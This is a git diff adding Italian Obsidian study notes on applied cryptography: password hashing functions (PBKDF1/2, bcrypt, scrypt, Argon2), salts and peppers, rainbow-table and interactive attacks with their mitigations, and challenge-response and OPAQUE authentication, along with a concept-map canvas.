+- Fattore di [[spazio]]
+- Fattore di parallelismo
+- [[lunghezza dell'output]]
+
+> In ambito online, si consiglia di selezionare parametri per ottenere un tempo di esecuzione di circa 1 secondo.
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/PBKDF1.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/PBKDF1.md
new file mode 100644
index 0000000..dd98597
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/PBKDF1.md	
@@ -0,0 +1,13 @@
+[[funzione di password hashing]].
+
+## Funzionamento
+
+Computa l'hash un numero significativo di volte, detto [[rounds]].
+
+```python
+def pbkdf1(salt, password, rounds):
+	current_hash = hash(safe_concat(salt, password))
+	for _ in range(rounds-1):
+		current_hash = hash(current_hash)
+	return current_hash
+```
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/PBKDF2.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/PBKDF2.md
new file mode 100644
index 0000000..533d53c
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/PBKDF2.md	
@@ -0,0 +1 @@
+[[funzione di password hashing]] simile a [[PBKDF1]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/archiviazione delle credenziali.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/archiviazione delle credenziali.md
new file mode 100644
index 0000000..f21177d
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/archiviazione delle credenziali.md	
@@ -0,0 +1 @@
+[[problema]] in cui si vuole serializzare il [[database delle credenziali]] in modo tale da limitare i danni causati da un [[data breach]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/attacco di pre-computazione.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/attacco di pre-computazione.md
new file mode 100644
index 0000000..ddb2562
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/attacco di pre-computazione.md	
@@ -0,0 +1,16 @@
+---
+aliases: ["pre-computation attack"]
+---
+
+[[attacco]] non-interattivo a un [[database delle credenziali]].
+
+## Requisiti
+
+- Il [[database delle credenziali]] utilizza [[hash]].
+- La [[funzione di hashing]] utilizzata è conosciuta a priori.
+
+## Funzionamento
+
+1. L'avversario [[enumerazione|enumera]] anticipatamente numerosi [[hash]], creando una [[rainbow table]].
+2. L'avvesario causa un [[data breach]] del [[database delle credenziali]].
+3. L'avversario usa la [[rainbow table]] per trovare le [[password]] corrispondenti a ciascun hash.
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/attacco interattivo.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/attacco interattivo.md
new file mode 100644
index 0000000..84ef207
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/attacco interattivo.md	
@@ -0,0 +1,11 @@
+Classe di [[attacco]] in cui l'[[avversario]] si interfaccia con il [[servizio di autenticazione]] per [[bruteforce|bruteforceare]] o [[enumerazione|enumerare]] le [[credenziale|credenziali]] degli [[utente|utenti]].
+
+## Livello di sicurezza
+
+Meno tentativi riesce a fare l'[[avversario]], più il livello di sicurezza è elevato.
+
+### Mitigazioni
+
+Per limitare i tentativi effettuabili dall'[[avversario]], possono essere adottate due soluzioni:
+- [[invalidazione]] temporanea della credenziale attaccata per periodi crescenti di [[tempo]]
+- [[invalidazione]] permanente della credenziale attaccata dopo un certo numero di accessi falliti
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/bcrypt.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/bcrypt.md
new file mode 100644
index 0000000..9a358ef
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/bcrypt.md	
@@ -0,0 +1,3 @@
+[[funzione di password hashing]] basata su [[Blowfish]].
+
+Supporta [[salt|salting]], ed è [[funzione di password hashing adattiva|adattiva]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/data breach.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/data breach.md
new file mode 100644
index 0000000..05760e5
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/data breach.md	
@@ -0,0 +1,3 @@
+Avvenimento in cui [[dato|dati]] [[confidenzialità|confidenziali]] vengono accidentalmente o deliberatamente pubblicati.
+
+Nel contesto della [[crittografia]] si riferisce alla trapelazione del [[database delle credenziali]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/enumerazione.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/enumerazione.md
new file mode 100644
index 0000000..adeb13e
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/enumerazione.md	
@@ -0,0 +1,5 @@
+---
+aliases: ["dictionary attack"]
+---
+
+[[attacco]] simile al [[bruteforce]] che sfrutta i pattern presenti nella [[credenziale]] attaccata per ridurre il numero di tentativi necessari all'accesso.
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/funzione di password hashing adattiva.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/funzione di password hashing adattiva.md
new file mode 100644
index 0000000..08e3659
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/funzione di password hashing adattiva.md	
@@ -0,0 +1 @@
+[[funzione di password hashing]] il cui [[costo]] è configurabile dallo sviluppatore che la utilizza.
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/funzione di password hashing.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/funzione di password hashing.md
new file mode 100644
index 0000000..1070c84
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/funzione di password hashing.md	
@@ -0,0 +1,13 @@
+---
+aliases: ["password-based hash function", "password-based key derivation function", "PBKDF"]
+---
+
+[[funzione ideale]] [[funzione di hashing|di hashing]] per [[archiviazione delle credenziali]].
+
+Ha un [[costo]] significativamente più elevato delle normali [[funzione di hashing]], rendendo più difficili sia [[attacco interattivo|attacchi interattivi]] sia [[attacco di pre-computazione|attacchi di precomputazione]].
+
+## Livello di sicurezza
+
+Dipende dalle risorse a disposizione dell'[[avversario]].
+
+In passato, il fattore limitante era il [[tempo]], ma con lo sviluppo di [[hardware dedicato all'hashing]], il fattore limitante è diventato prevalentemente lo [[spazio]].
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/invalidazione.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/invalidazione.md
new file mode 100644
index 0000000..bc1aa0c
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/invalidazione.md	
@@ -0,0 +1,3 @@
+Disattivazione temporanea o permanente di una [[credenziale]].
+
+> Credenziali deboli invalidate vengono generalmente sostituite con credenziali più sicure; se anche la credenziale più sicura viene invalidata, è necessario ricrearne una di persona!
\ No newline at end of file
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/password.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/password.md
new file mode 100644
index 0000000..6ef644d
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/password.md	
@@ -0,0 +1,11 @@
+[[testo]] segreto conosciuto solo dall'[[user agent]], che funziona da [[credenziale]].
+
+## Livello di sicurezza
+
+Le password decise manualmente dall'[[utente]] hanno generalmente bassa [[entropia]], quindi richiedono particolare attenzione nell'uso.
+
+Perchè siano efficaci, devono essere:
+
+- resistenti a [[bruteforce]]
+- resistenti a [[enumerazione]]
+
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/pepper.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/pepper.md
new file mode 100644
index 0000000..2057aef
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/pepper.md	
@@ -0,0 +1,17 @@
+---
+aliases: ["secret", "segreto"]
+---
+
+[[Dato]] utilizzato come parte di soluzioni per l'[[archiviazione delle credenziali]].
+
+## Funzionamento
+
+Funziona in modo molto simile ad un parametro di [[contestualizzazione di una key derivation function|contestualizzazione]]: ne viene selezionato uno per l'intero [[database delle credenziali]], e poi viene prefissato prima del [[salt]] a tutte le [[password]].
+
+Talvolta, solo il [[servizio di autenticazione]] ne è a conoscenza.
+
+### Effetto
+
+Se fa parte dei [[data breach|dati breached]], rende ancora più difficili [[attacco di pre-computazione|pre-computation attack]].
+
+Se non ne fa parte, li rende quasi impossibili.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/personal identification number.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/personal identification number.md
new file mode 100644
index 0000000..065e3c5
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/personal identification number.md	
@@ -0,0 +1,18 @@
+---
+aliases: ["PIN"]
+---
+
+[[password]] molto breve di soli caratteri numerici, che per definizione ha bassissima [[entropia]].
+
+## Livello di sicurezza
+
+Per via della sua bassisima entropia, è [[8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/debolezza|debole]] contro attacchi di [[bruteforce]] e di [[enumerazione]], entrambi solitamente in forma [[attacco interattivo|interattiva]].
+
+## Casi d'uso
+
+- [[Bancomat]]
+- [[Blocco schermo]]
+
+## #Extra Vedi anche
+
+- [Atalla Box](https://utimaco.com/products/categories/hardware-security-modules-hsm/hsms-payment-use-cases/atalla-at1000), un abominio hardware proprietario che verifica i PIN dei Bancomat
\ No newline at end of file
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/rainbow table.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/rainbow table.md
new file mode 100644
index 0000000..c8bac58
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/rainbow table.md	
@@ -0,0 +1 @@
+Struttura dati che associa [[hash]] alle [[password]] che li generano.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/salt.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/salt.md
new file mode 100644
index 0000000..dfff1ef
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/salt.md	
@@ -0,0 +1,13 @@
+---
+aliases: ["sale"]
+---
+
+[[Dato]] utilizzato come parte di soluzioni per l'[[archiviazione delle credenziali]].
+
+## Funzionamento
+
+Funziona in modo molto simile ad un [[nonce]]: ad ogni [[password]] viene prefissato il suo *salt*, che poi viene immagazzinato assieme all'[[hash]] nel [[database delle credenziali]].
+
+### Effetto
+
+Previene [[attacco di pre-computazione|pre-computation attack]].
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/scrypt.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/scrypt.md
new file mode 100644
index 0000000..70e4d7c
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/scrypt.md	
@@ -0,0 +1,5 @@
+[[funzione di password hashing]] il cui fattore principale di costo è lo [[spazio]].
+
+## Casi d'uso
+
+- [[Litecoin]]
\ No newline at end of file
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/★ mappa concettuale.canvas b/8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/★ mappa concettuale.canvas
new file mode 100644
index 0000000..0833b65
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/★ mappa concettuale.canvas	
@@ -0,0 +1,50 @@
+{
+	"nodes":[
+		{"type":"group","id":"f6ba5036905226cb","x":-980,"y":3020,"width":4360,"height":920,"color":"6","label":"Password hashing"},
+		{"type":"group","id":"e5d8b7d6cb6937f3","x":700,"y":220,"width":1020,"height":2680,"color":"1","label":"Attacco"},
+		{"type":"group","id":"54530d041cdb44b4","x":1820,"y":220,"width":1020,"height":2680,"color":"5","label":"Difesa"},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/1 - Modello/credenziale.md","id":"6d528c2fd7f4c103","x":-400,"y":240,"width":960,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/password.md","id":"2d7b5e37d611e06b","x":-400,"y":800,"width":400,"height":960},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/personal identification number.md","id":"f3264e0272873023","x":160,"y":800,"width":400,"height":960},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/1 - Modello/database delle credenziali.md","id":"77ee430e7b62e608","x":-400,"y":-320,"width":960,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/archiviazione delle credenziali.md","id":"49c3e5cedba7dace","x":-400,"y":2480,"width":960,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/funzione di password hashing.md","id":"90b87aa3e0ac111f","x":-400,"y":3040,"width":960,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/funzione di password hashing adattiva.md","id":"9b3487661e698e74","x":-960,"y":3040,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/data breach.md","id":"6cf7ee29e6a440ee","x":-400,"y":1920,"width":960,"height":400,"color":"#ffffff"},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/attacco di pre-computazione.md","id":"fe916fea856d00e7","x":720,"y":2480,"width":980,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/PBKDF1.md","id":"508751cf4a2489e5","x":720,"y":3320,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/PBKDF2.md","id":"685597cff93ad268","x":1280,"y":3320,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/bcrypt.md","id":"f29cd321863a804c","x":1840,"y":3320,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/scrypt.md","id":"0be16b63fd97b2ef","x":2400,"y":3320,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/Argon2.md","id":"337f2785121abc4b","x":2960,"y":3320,"width":400,"height":600,"color":"4"},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/attacco interattivo.md","id":"10a646e40d99326e","x":720,"y":240,"width":960,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/salt.md","id":"fd46aee2d4e428fd","x":1860,"y":2480,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/pepper.md","id":"7a91a4a31c66db17","x":2420,"y":2480,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/rainbow table.md","id":"3546c8d1169b126f","x":1010,"y":1920,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/invalidazione.md","id":"e7f27bf90cda284f","x":1840,"y":240,"width":400,"height":400}
+	],
+	"edges":[
+		{"id":"2988e4048bde1c24","fromNode":"77ee430e7b62e608","fromSide":"bottom","toNode":"6d528c2fd7f4c103","toSide":"top","toEnd":"none"},
+		{"id":"e71cd2c62320641e","fromNode":"6d528c2fd7f4c103","fromSide":"bottom","toNode":"2d7b5e37d611e06b","toSide":"top","toEnd":"none"},
+		{"id":"e635244c8a714d11","fromNode":"6d528c2fd7f4c103","fromSide":"bottom","toNode":"f3264e0272873023","toSide":"top","toEnd":"none"},
+		{"id":"834effdfe677eb92","fromNode":"2d7b5e37d611e06b","fromSide":"bottom","toNode":"6cf7ee29e6a440ee","toSide":"top","toEnd":"none"},
+		{"id":"1fc23a8ff207660d","fromNode":"f3264e0272873023","fromSide":"bottom","toNode":"6cf7ee29e6a440ee","toSide":"top","toEnd":"none"},
+		{"id":"979887845ee4149e","fromNode":"6cf7ee29e6a440ee","fromSide":"bottom","toNode":"49c3e5cedba7dace","toSide":"top","toEnd":"none"},
+		{"id":"4d4ced2d46b84acc","fromNode":"49c3e5cedba7dace","fromSide":"bottom","toNode":"90b87aa3e0ac111f","toSide":"top","toEnd":"none"},
+		{"id":"15f593611b910657","fromNode":"90b87aa3e0ac111f","fromSide":"left","toNode":"9b3487661e698e74","toSide":"right","toEnd":"none"},
+		{"id":"6e552f321e47b58c","fromNode":"77ee430e7b62e608","fromSide":"left","toNode":"6cf7ee29e6a440ee","toSide":"left","toEnd":"none"},
+		{"id":"694fe8ff08225ad7","fromNode":"90b87aa3e0ac111f","fromSide":"right","toNode":"508751cf4a2489e5","toSide":"top","toEnd":"none"},
+		{"id":"3f30b7cc90786892","fromNode":"90b87aa3e0ac111f","fromSide":"right","toNode":"685597cff93ad268","toSide":"top","toEnd":"none"},
+		{"id":"3bf979a7a7301b94","fromNode":"90b87aa3e0ac111f","fromSide":"right","toNode":"f29cd321863a804c","toSide":"top","toEnd":"none"},
+		{"id":"3c45d6ddce18331a","fromNode":"90b87aa3e0ac111f","fromSide":"right","toNode":"0be16b63fd97b2ef","toSide":"top","toEnd":"none"},
+		{"id":"da4e59f1b86a7f84","fromNode":"90b87aa3e0ac111f","fromSide":"right","toNode":"337f2785121abc4b","toSide":"top","toEnd":"none","color":"4"},
+		{"id":"eaea152cfda2cc8f","fromNode":"fe916fea856d00e7","fromSide":"bottom","toNode":"90b87aa3e0ac111f","toSide":"top","toEnd":"none"},
+		{"id":"356fa6a927e68600","fromNode":"49c3e5cedba7dace","fromSide":"right","toNode":"fe916fea856d00e7","toSide":"left","toEnd":"none"},
+		{"id":"6e410090ee27ef0d","fromNode":"6d528c2fd7f4c103","fromSide":"right","toNode":"10a646e40d99326e","toSide":"left","toEnd":"none"},
+		{"id":"adce7072b7e71357","fromNode":"10a646e40d99326e","fromSide":"right","toNode":"e7f27bf90cda284f","toSide":"left","toEnd":"none"},
+		{"id":"5d62852786ec1c7e","fromNode":"508751cf4a2489e5","fromSide":"right","toNode":"685597cff93ad268","toSide":"left"},
+		{"id":"43bbf769a2598e68","fromNode":"fe916fea856d00e7","fromSide":"top","toNode":"3546c8d1169b126f","toSide":"bottom","toEnd":"none"},
+		{"id":"c26784417222a604","fromNode":"fe916fea856d00e7","fromSide":"right","toNode":"fd46aee2d4e428fd","toSide":"left","toEnd":"none"},
+		{"id":"7c12fcec26753eeb","fromNode":"fd46aee2d4e428fd","fromSide":"right","toNode":"7a91a4a31c66db17","toSide":"left","toEnd":"none"}
+	]
+}
\ No newline at end of file
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/Initiative for Open Authentication.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/Initiative for Open Authentication.md
new file mode 100644
index 0000000..0ca0fdc
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/Initiative for Open Authentication.md	
@@ -0,0 +1,5 @@
+---
+aliases: ["OATH"]
+---
+
+Gruppo che sviluppa standard per l'[[autenticazione di utente]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/OPAQUE.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/OPAQUE.md
new file mode 100644
index 0000000..3960cd6
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/OPAQUE.md	
@@ -0,0 +1,29 @@
+[[Protocollo]] di [[augmented password-based key exchange]].
+
+Sfrutta una [[oblivious pseudo-random function]] e una [[funzione di password hashing]].
+
+## Funzionamento
+
+### Registrazione
+
+L'[[user agent]] invia il suo [[username]] e la sua [[password]] [[blinded]] al [[servizio di autenticazione]], che ci aggiunge un [[salt]] e la invia indietro assieme alla sua [[chiave pubblica]].
+
+La [[password]] [[salt|salted]] viene poi passata a una [[funzione di password hashing|password-based key derivation function]], ottenendo una "master key".
+
+In seguito, l'[[user agent]] genera una [[coppia di chiavi]], e concatena la [[chiave privata]] generata alla [[chiave pubblica]] del server, per poi criptarle, usando [[crittografia simmetrica moderna]] con la "master key" come chiave.
+
+Infine, al server viene inviata la [[chiave pubblica]] generata e il precedente dato cifrato, che vengono immagazzinati assieme al [[salt]] e all'[[username]] dell'utente.
+
+## Login
+
+L'[[user agent]] invia il suo [[username]] e la sua [[password]] [[blinded]] al [[servizio di autenticazione]], che ci aggiunge un [[salt]] e la invia indietro assieme alla [[chiave pubblica]] generata e al dato cifrato.
+
+La [[password]] [[salt|salted]] viene poi passata a una [[funzione di password hashing|password-based key derivation function]], ottenendo la stessa "master key" ottenuta in fase di registrazione.
+
+La "master key" viene usata per decifrare il dato, riottenendo così la [[chiave pubblica]] del server e la [[chiave privata]] generata.
+
+L'[[user agent]] è ora in grado di effettuare uno [[scambio di chiave basato su Diffie-Hellman]] con la [[chiave privata]] generata e la [[chiave pubblica]] del [[servizio di autenticazione]].
+
+Allo stesso modo, il [[servizio di autenticazione]] è in grado di effettuare lo stesso [[scambio di chiave basato su Diffie-Hellman]], usando la sua [[chiave privata]] e la [[chiave pubblica]] immagazinata.
+
+In questo modo, le due parti hanno una [[chiave simmetrica]] con cui comunicare.
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/SCRAM authentication.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/SCRAM authentication.md
new file mode 100644
index 0000000..48906e7
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/SCRAM authentication.md	
@@ -0,0 +1,5 @@
+[[funzione]] di [[challenge-response based on password]] basata sulla [[crittografia simmetrica moderna]].
+
+È insicura, in quanto pubblica il [[salt]] all'inizio della procedura.
+
+Effettua [[channel binding]] e permette all'[[user agent]] di autenticare il [[servizio di autenticazione]].
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/Untitled.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/Untitled.md
new file mode 100644
index 0000000..e69de29
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/augmented password-based key exchange.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/augmented password-based key exchange.md
new file mode 100644
index 0000000..7034772
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/augmented password-based key exchange.md	
@@ -0,0 +1,5 @@
+---
+aliases: ["aPAKE"]
+---
+
+[[funzione ideale]] di [[challenge-response based on password]] che utilizza la [[password]] per derivare una [[coppia di chiavi]] che a sua volta consente di derivare una [[chiave simmetrica]] da usare nella comunicazione tra le due parti.
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/basic authentication.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/basic authentication.md
new file mode 100644
index 0000000..3a61899
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/basic authentication.md	
@@ -0,0 +1,7 @@
+[[funzione|Protocollo]] in cui si dimostra una [[credenziale]] trasmettendola direttamente al [[servizio di autenticazione]] attraverso un canale di [[comunicazione simmetrica]] sicuro.
+
+La credenziale inviata assume spesso il nome di [[bearer token]].
+
+## Svantaggi
+
+- Se un [[avversario]] ottiene accesso alla [[credenziale]], può [[impersonazione|impersonare]] permanentemente lo [[sfidante]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/bearer token.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/bearer token.md
new file mode 100644
index 0000000..7c47248
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/bearer token.md	
@@ -0,0 +1,3 @@
+[[blob]] con funzionamento di [[credenziale]].
+
+Un [[user agent]] può presentarlo a un [[servizio di autenticazione]] tramite un [[canale sicuro]] per [[identificazione|identificarsi]] e [[autenticazione di identità|autenticarsi]].
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/blinded.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/blinded.md
new file mode 100644
index 0000000..15200c8
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/blinded.md	
@@ -0,0 +1 @@
+[[parametro]] o [[risultato]] il cui valore è nascosto e può essere rivelato solo da uno specifico [[agente]].
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/challenge-response based on common knowledge.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/challenge-response based on common knowledge.md
new file mode 100644
index 0000000..9a292bb
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/challenge-response based on common knowledge.md	
@@ -0,0 +1 @@
+[[funzione ideale]] di [[challenge-response]] in cui la [[challenge]] è implicita, in quanto si basa su un dato conosciuto sia al [[servizio di autenticazione]] sia all'[[user agent]].
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/challenge-response based on password.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/challenge-response based on password.md
new file mode 100644
index 0000000..79226b7
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/challenge-response based on password.md	
@@ -0,0 +1 @@
+[[funzione ideale]] di [[challenge-response]] in cui si vuole utilizzare una [[password]] per [[autenticazione di identità|autenticare l'identità dell'utente]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/challenge-response based on public key.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/challenge-response based on public key.md
new file mode 100644
index 0000000..e73d177
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/challenge-response based on public key.md	
@@ -0,0 +1,5 @@
+[[funzione]] di [[challenge-response]] in cui la [[challenge]] è implicita, in quanto fa uso di [[problema di firma digitale|firma digitale]] e della [[chiave pubblica]] archiviata nel [[servizio di autenticazione]].
+
+Impedisce al [[servizio di autenticazione]] di impersonare l'utente.
+
+Rende possibile al [[servizio di autenticazione]] di cifrare con la [[chiave pubblica]] i dati restituiti all'[[user agent]] nel caso il canale non sia sicuro.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/challenge-response based on time.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/challenge-response based on time.md
new file mode 100644
index 0000000..24e032c
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/challenge-response based on time.md	
@@ -0,0 +1 @@
+[[funzione ideale]] di [[challenge-response based on common knowledge]] in cui la [[challenge]] fa uso dell'[[ora]] attuale.
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/challenge-response.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/challenge-response.md
new file mode 100644
index 0000000..b4b3ea7
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/challenge-response.md	
@@ -0,0 +1,9 @@
+[[funzione ideale]] per problemi di [[autenticazione di utente]].
+
+## Funzionamento
+
+Il [[servizio di autenticazione]] fornisce una [[challenge]] [[unicità|unica]] all'[[user agent]].
+
+Per [[autenticazione di utente|autenticarsi]], l'[[user agent]] deve superare la [[challenge]] usando le sue [[8 - Crittografia applicata/999 - WIP/Password/credenziale|credenziali]], senza aver bisogno di inviarle al [[servizio di autenticazione]].
+
+> Il requisito di [[unicità]] esiste per evitare [[replay attack]].
